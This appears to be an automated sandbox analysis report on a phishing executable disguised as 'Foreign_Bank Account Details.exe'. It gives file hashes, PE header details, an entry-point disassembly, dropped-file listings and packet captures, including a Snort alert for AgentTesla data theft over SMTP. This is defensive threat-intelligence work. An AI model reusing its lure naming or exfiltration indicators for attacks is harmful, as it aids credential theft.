                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........H...............................................p............@.......................................... ...E...........J... ...........................................................................................rdata..p...........................@..@.rsrc....E... ...F..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..@A...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\endpointdlp.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):647416
                                                            Entropy (8bit):6.2677434000059975
                                                            Encrypted:false
                                                            SSDEEP:12288:RE74OZLauRb4Z7W42oza9hIXTzq+g57U2ibvko43Shu/6U:toLauRaWMTPg9U2ibcH3SU
                                                            MD5:BBDFA9DA2F8E10903C095F504A2188B1
                                                            SHA1:E670D3739742A460C8C3AA5A2CC911A4ACFEFA8D
                                                            SHA-256:4B3DE446F41D0410C06E9FAFF8823D380BCBDADB5B381C702CE3A5E2535A7142
                                                            SHA-512:A30280A65726142551F2CBFB3A41337B309BDBEABCF710B5654CBD1415453AD2D69A7EC7C753A4E297557755D4204CABA4881938F805E667888523CD99F338FF
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M2`..S...S...S...!...S...S..S...!...S...!..+S...!...S...!...S...&...S...&..XS...&...S...&...S..Rich.S..........................PE..d...+s.P.........." ......... ......`M...............................................|....`A............................................................(....`...K....... ...........G..p.......................(.......8............................................text............................... ..`.rdata...m.......p..................@..@.data....9... ...0... ..............@....pdata...K...`...P...P..............@..@.rsrc...(...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):67816
                                                            Entropy (8bit):4.139143013850931
                                                            Encrypted:false
                                                            SSDEEP:768:7r690VA3iN3v240ynoFXuAQ8UyCNbHQSfr+FABZgdTypKR1PJl:iyHGyoFXXfW7Q2r+FAodTypKHPJl
                                                            MD5:B6A28B3D905B28545AC4EC448846C6F4
                                                            SHA1:C59E0A7600A0A76B25B46A7B5D1574BA09FC6826
                                                            SHA-256:89404202E75E8D03AF2458906D9622C7ECD43F4B30180B079B143B77EA6BA6A4
                                                            SHA-512:650319B0A81FB5A1BACE4760C14BA37245A9FB23F4A7E5B18B3BE279A5EDF5063BB1CF5C8631AEC30ACEDCF3F92219B63279A4B01DA80C21B2182C88F56F9158
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................}.....@.......................................... ..h................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpEvMsg.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):58616
                                                            Entropy (8bit):4.347687086754615
                                                            Encrypted:false
                                                            SSDEEP:768:7ruyfm07DjkGDxibCs79eoh9ewh/6L3NM6MAM8rbrubOezWyi4JzOcfQT/ZsH+KY:5H6BJdLd0dZLTOy+JdVfQT/eNNTvHPtW
                                                            MD5:1CEB1C751D2CF63A0856B30A74486565
                                                            SHA1:7D388EF3D300849D5E08FFA8F37DBB72765EED9B
                                                            SHA-256:4421F31079246BD5A8B2C76B305BD88251DE81DAA0DBFDC393ACE55198B58F34
                                                            SHA-512:00929E60E67BB9ABD2D4081D387B13D25D819DDCEFABE3384C0FB70C47566FE675499768C1455DDAB7480D1696F956A2448DF1064E7A9DA72085F04A19EE39B9
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................H.....@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............]..........T...8...8.......]..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... ..8....rsrc$02.... ..._<.....5..\Z2........~..4]..........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\ProtectionManagement.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):53480
                                                            Entropy (8bit):5.483586719154938
                                                            Encrypted:false
                                                            SSDEEP:768:7ruKwQ1QknY/H+2N+HLuwaJDMR/oHyXhIomrCi6EwmAVzR1PMJ:mKwTTHyPag4twc6zHPMJ
                                                            MD5:1933FC68D4038B5431F7CB7AE468F393
                                                            SHA1:E235F2EF1DD1656E1646AD15527C3D1E8AA4DDB0
                                                            SHA-256:961DF898ABCAC1F2911002445BFC624327BC153874D5E3E7556E467B360A55E2
                                                            SHA-512:1C9A1EEA8AE0A8DA611920CFD8010B585BE74DFBA8F3430828E0B3267BF6126E8158B4714A85F57C351B02D8009468A5EB13027E1E7FAF33D4FC4424BBEA7120
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................L.....@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@............l...........T...8...8.......l...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....%..H....rsrc$02.... ...=..E.......'G.:3..t.E....R<l...........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):30456
                                                            Entropy (8bit):4.917070528485799
                                                            Encrypted:false
                                                            SSDEEP:384:7rqG15z+i+7W7n++XyKTDQfOWS8/WzRDBRJ5l5ppJM:7rLBiKTDQLGR1PrHM
                                                            MD5:2FDE66202B0916607183D62E68CFB1B5
                                                            SHA1:2525D696877DB1F0C13ADF15174BB219466F5782
                                                            SHA-256:AF712FBC07C22C3950C81F0F207EC5CB078591E16857DE6373ACDE71B814305E
                                                            SHA-512:D0606A25CF2581FE11E0A122AA080A639D3E69BA8EF2B3A21F6F4985E2D2275C530DDBF6FAFB23D20AE99D7FA4B6D5895F5CD7EDF2A1723BED96B0D919C5FBE3
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........T.......................................................`....@.......................................... ..<Q...........V... ...........................................................................................rdata..p...........................@..@.rsrc...<Q... ...R..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...L...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):66808
                                                            Entropy (8bit):4.12608368962796
                                                            Encrypted:false
                                                            SSDEEP:768:7rJ90VX3iN3vpSnynoFXuAQ8UqVaFUk6s3vmxZZL1M+J0R1P6zE:xyAUyoFXXvk/Jvmxr1M+J0HPAE
                                                            MD5:D1CBA62B76E5E851B8922EABFF2DEF6D
                                                            SHA1:E5776BFACF829F2254D9421646AAF9E59A68FDEF
                                                            SHA-256:1F9767C1C1EFE0C4D19D0F22C8FA6ADB60E4E88013CF8112D0BC60608EDDEE5C
                                                            SHA-512:BE116298568BACF0A55637B39DBD5D7866EAEDA94448A0D866228104885B80CAFE47BF552B0B927E06E434BB3F922B06BAD51A16D547EF0F44CF9BAF066C0525
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!.................................................................N....@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):30952
                                                            Entropy (8bit):4.874668095617591
                                                            Encrypted:false
                                                            SSDEEP:384:7rTJmsPXPLe/MvLyWF4eGOWS8/WFRDBRJw+TEQmDWlGszRnh1Rm:7r95PrF4bL4R1Pwf1zOpm
                                                            MD5:D69771B02DB93D6F6E8A343978F499A7
                                                            SHA1:671655DDAA4F02398C8C0FF41E03E30593C54562
                                                            SHA-256:9FCBDA0A30314F5A45CB005475AC90FFDC60585EF7816CBE691544F1E2299BA1
                                                            SHA-512:BE6556B9D1D0B87E37BEC666C31292EAB99F7A33AAB2981B7AB933A3071585EE0CAA2544E16F394C3DBEC8F0338BE39D2EBC366EC7B373482D5B5791C557AAFD
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........V......................................................=.....@.......................................... ...S...........X... ...........................................................................................rdata..p...........................@..@.rsrc....S... ...T..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...N...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

                                                            Static File Info

                                                            General

                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Entropy (8bit):6.50003203322486
                                                            TrID:
                                                            • Win32 Executable (generic) a (10002005/4) 99.15%
                                                            • Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                            • DOS Executable Generic (2002/1) 0.02%
                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                            File name:Foreign_Bank Account Details.exe
                                                            File size:135168
                                                            MD5:8906fa5fed7b1d3d2e5579d97419c076
                                                            SHA1:f4488a79fcb657eb1f3f23c6ce181ae7176fb11c
                                                            SHA256:d1a3f5513cfaf506e96e6304d259fb03f5dc23542301fc9c7335a6e921ad65f9
                                                            SHA512:e34aa27e530b1e57a33e483eca15739570b105485d722da4a7a2f921abfe2383e5044d85bdd91e6d0ac80a5c3e8896d6dc7ed5b662ddbd1ab56c7c8349777871
                                                            SSDEEP:3072:wHohMc/81QScUhU7FeiRaz+7kOMr7d2PhOdnXhWZ2QLqw9mh7ObETDuvTuqZccm4:wHoBzsuRcw4rCh
                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.[.J...J...J..9V...J...h...J...l...J..Rich.J..................PE..L...]..R.................P...................`....@........

                                                            File Icon

                                                            Icon Hash:20047c7c70f0e004

                                                            Static PE Info

                                                            General

                                                            Entrypoint:0x4012d8
                                                            Entrypoint Section:.text
                                                            Digitally signed:false
                                                            Imagebase:0x400000
                                                            Subsystem:windows gui
                                                            Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                                                            DLL Characteristics:
                                                            Time Stamp:0x5288055D [Sat Nov 16 23:53:01 2013 UTC]
                                                            TLS Callbacks:
                                                            CLR (.Net) Version:
                                                            OS Version Major:4
                                                            OS Version Minor:0
                                                            File Version Major:4
                                                            File Version Minor:0
                                                            Subsystem Version Major:4
                                                            Subsystem Version Minor:0
                                                            Import Hash:0a8e5f9658f839d07c08aa4f38837bac

                                                            Entrypoint Preview

                                                            Instruction
                                                            push 00411750h
                                                            call 00007FA530C51A75h
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            xor byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            cmp byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            and dword ptr [esi], edx
                                                            xor dword ptr [edi-47h], esi
                                                            inc ecx
                                                            mov es, word ptr [edi-6Fh]
                                                            cld
                                                            cmp dword ptr [edi], ebx
                                                            jbe 00007FA530C51A8Fh
                                                            int1
                                                            jp 00007FA530C51A82h
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [ecx], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [ebp+6Dh], ah
                                                            bound ebp, dword ptr [ecx+69h]
                                                            add byte ptr fs:[eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            dec esp
                                                            xor dword ptr [eax], eax
                                                            and ebp, dword ptr [eax+4F90F37Bh]
                                                            pop esi
                                                            dec eax
                                                            inc esp
                                                            mov bh, ECh
                                                            insb
                                                            in al, dx
                                                            int1
                                                            push es
                                                            scasd
                                                            outsd
                                                            rcr byte ptr [esp+ebp*2-28h], cl
                                                            push esi
                                                            pop ebx
                                                            inc ecx
                                                            mov bl, 77h
                                                            imul ebp, edx, 44F5ABABh
                                                            cmp cl, byte ptr [edi-53h]
                                                            xor ebx, dword ptr [ecx-48EE309Ah]
                                                            or al, 00h
                                                            stosb
                                                            add byte ptr [eax-2Dh], ah
                                                            xchg eax, ebx
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            mov al, FCh
                                                            add byte ptr [eax], al
                                                            inc ebp
                                                            add byte ptr [eax], al
                                                            add byte ptr [eax], al
                                                            add eax, 706E5500h
                                                            jc 00007FA530C51AF1h
                                                            add byte ptr [50000901h], cl
                                                            push edx
                                                            inc ebp
                                                            inc ecx
                                                            inc ebx
                                                            inc ebx
                                                            dec edi
                                                            dec ebp
                                                            dec ebp
                                                            add byte ptr [ecx], bl
                                                            add dword ptr [eax], eax
                                                            inc edx
                                                            add byte ptr [edx], ah
                                                            add byte ptr [eax+eax], ah

                                                            Data Directories

                                                            NameVirtual AddressVirtual Size Is in Section
                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x150c40x28.text
                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x180000x9749.rsrc
                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2300x20
                                                            IMAGE_DIRECTORY_ENTRY_IAT0x10000xf4.text
                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                            Sections

                                                            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                            .text0x10000x145180x15000False0.578311011905data6.68181233004IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                            .data0x160000x15fc0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                            .rsrc0x180000x97490xa000False0.217749023437data5.47873434424IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                            Resources

                                                            NameRVASizeTypeLanguageCountry
                                                            CUSTOM0x217270x22ASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x217060x21ASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x216e50x21ASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x216c70x1eASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x216ab0x1cASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x18c680x8a43ASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x18c4a0x1eASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x18c1d0x2dASCII text, with CRLF line terminatorsEnglishUnited States
                                                            CUSTOM0x18bfc0x21ASCII text, with CRLF line terminatorsEnglishUnited States
                                                            RT_ICON0x18acc0x130data
                                                            RT_ICON0x187e40x2e8data
                                                            RT_ICON0x186bc0x128GLS_BINARY_LSB_FIRST
                                                            RT_GROUP_ICON0x1868c0x30data
                                                            RT_VERSION0x183200x36cdataEnglishUnited States

                                                            Imports

                                                            DLLImport
                                                            MSVBVM60.DLL__vbaStrI2, _CIcos, _adj_fptan, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaStrCat, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaObjSet, _adj_fdiv_m16i, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, DllFunctionCall, __vbaVarLateMemSt, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaErrorOverflow, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarDup, _CIatan, __vbaStrMove, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

                                                            Version Infos

                                                            DescriptionData
                                                            Translation0x0409 0x04b0
                                                            LegalCopyrightRealNetworks, Inc.
                                                            InternalNamefigurmrk
                                                            FileVersion66.00
                                                            CompanyNameRealNetworks, Inc.
                                                            LegalTrademarksRealNetworks, Inc.
                                                            CommentsRealNetworks, Inc.
                                                            ProductNameRealNetworks, Inc.
                                                            ProductVersion66.00
                                                            FileDescriptionRealNetworks, Inc.
                                                            OriginalFilenamefigurmrk.exe

                                                            Possible Origin

                                                            Language of compilation systemCountry where language is spokenMap
                                                            EnglishUnited States

                                                            Network Behavior

                                                            Snort IDS Alerts

                                                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                            10/12/21-09:39:48.648180TCP2030171ET TROJAN AgentTesla Exfil Via SMTP49812587192.168.11.20116.0.120.83

                                                            Network Port Distribution

                                                            TCP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Oct 12, 2021 09:38:06.527441978 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.527522087 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:06.527759075 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.544608116 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.544666052 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:06.586272955 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:06.586452007 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.586910009 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:06.587142944 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.690037012 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.690073967 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:06.690521955 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:06.690716028 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.695914030 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:06.737936020 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:07.222197056 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:07.222373009 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:07.222443104 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:07.222635984 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:07.222677946 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:07.222774029 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:07.222796917 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:07.222939014 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:07.227487087 CEST49793443192.168.11.20172.217.168.46
                                                            Oct 12, 2021 09:38:07.227543116 CEST44349793172.217.168.46192.168.11.20
                                                            Oct 12, 2021 09:38:07.270833015 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.270906925 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.271152973 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.271719933 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.271775961 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.325155973 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.325359106 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.325385094 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.328206062 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.328480959 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.332715034 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.332740068 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.333142996 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.333333969 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.333610058 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.373929024 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.540580034 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.540822029 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.540946960 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.541107893 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.541141033 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.541155100 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.541649103 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.541918039 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.543248892 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.543384075 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.543539047 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.543598890 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.543611050 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.543853998 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.544950962 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.545192957 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.545248985 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.545480013 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.551028013 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.551230907 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.551259041 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.551280975 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.551526070 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.551584959 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.551784992 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.551851034 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.552145958 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.552202940 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.552408934 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.552613974 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.552855015 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.552912951 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.553090096 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.553200960 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.553442001 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.553494930 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.553730965 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.554016113 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.554189920 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.554224968 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.554402113 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.554646969 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.554863930 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.554893970 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.555099010 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.555444956 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.555618048 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.555660963 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.555862904 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.556206942 CEST44349794142.250.186.33192.168.11.20
                                                            Oct 12, 2021 09:38:07.556437016 CEST49794443192.168.11.20142.250.186.33
                                                            Oct 12, 2021 09:38:07.556489944 CEST44349794142.250.186.33192.168.11.20
